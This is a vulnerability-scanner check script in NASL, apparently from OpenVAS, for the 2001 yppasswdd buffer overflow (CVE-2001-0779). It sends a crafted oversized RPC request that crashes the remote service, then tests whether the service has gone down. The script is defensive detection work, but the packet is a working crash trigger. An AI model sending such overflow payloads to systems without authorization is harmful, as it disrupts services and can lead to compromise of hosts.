yppasswdd overflow

# SPDX-FileCopyrightText: 2008 Renaud Deraison
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.80035");
  script_version("2024-07-23T05:05:30+0000");
  script_tag(name:"last_modification", value:"2024-07-23 05:05:30 +0000 (Tue, 23 Jul 2024)");
  script_tag(name:"creation_date", value:"2008-10-24 20:15:31 +0200 (Fri, 24 Oct 2008)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/2763");
  script_cve_id("CVE-2001-0779");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("yppasswdd overflow");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2008 Renaud Deraison");
  script_family("Gain a shell remotely");
  script_dependencies("gb_rpc_portmap_udp_detect.nasl");
  script_mandatory_keys("rpc/portmap/udp/detected");

  script_tag(name:"solution", value:"Disable this service if you don't use
  it, or contact Sun for a patch.");

  script_tag(name:"summary", value:"The remote RPC service 100009 (yppasswdd) is vulnerable
  to a buffer overflow which allows any user to obtain a root shell on this host.");

  script_tag(name:"solution_type", value:"Mitigation");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("rpc.inc");
include("byte_func.inc");

port = rpc_get_port(program:100009, protocol:IPPROTO_UDP);
if(!port)
  exit(0);

if(!get_udp_port_state(port))
  exit(0);

soc = open_sock_udp(port);
if(!soc)
  exit(0);

# nb: We forge a bogus RPC request, with a way too long argument. The remote process will die immediately, and hopefully painlessly.
crp = crap(796);

req = raw_string(0x56, 0x6C, 0x9F, 0x6B,
                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
                 0x00, 0x01, 0x86, 0xA9, 0x00, 0x00, 0x00, 0x01,
                 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x03, 0x20, 0x80, 0x1C, 0x40, 0x11) +
      crp +
      raw_string(0x00, 0x00, 0x00, 0x02,
                 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
                 0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x03,
                 0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x02,
                 0x61, 0x61, 0x00, 0x00);
send(socket:soc, data:req);
r = recv(socket:soc, length:4096);
close(soc);

if(r) {
  # nb: if length(r) == 28, then the overflow did succeed. However, I prefer to re-make a call to getrpcport(), that's safer (who knows what exotic yppasswdd can reply ?)
  sleep(1);
  newport = rpc_get_port(program:100009, protocol:IPPROTO_UDP);
  set_kb_item(name:"rpc/yppasswd/sun_overflow", value:TRUE);
  if(!newport) {
    security_message(port:port, protocol:"udp");
    exit(0);
  }
}

exit(99);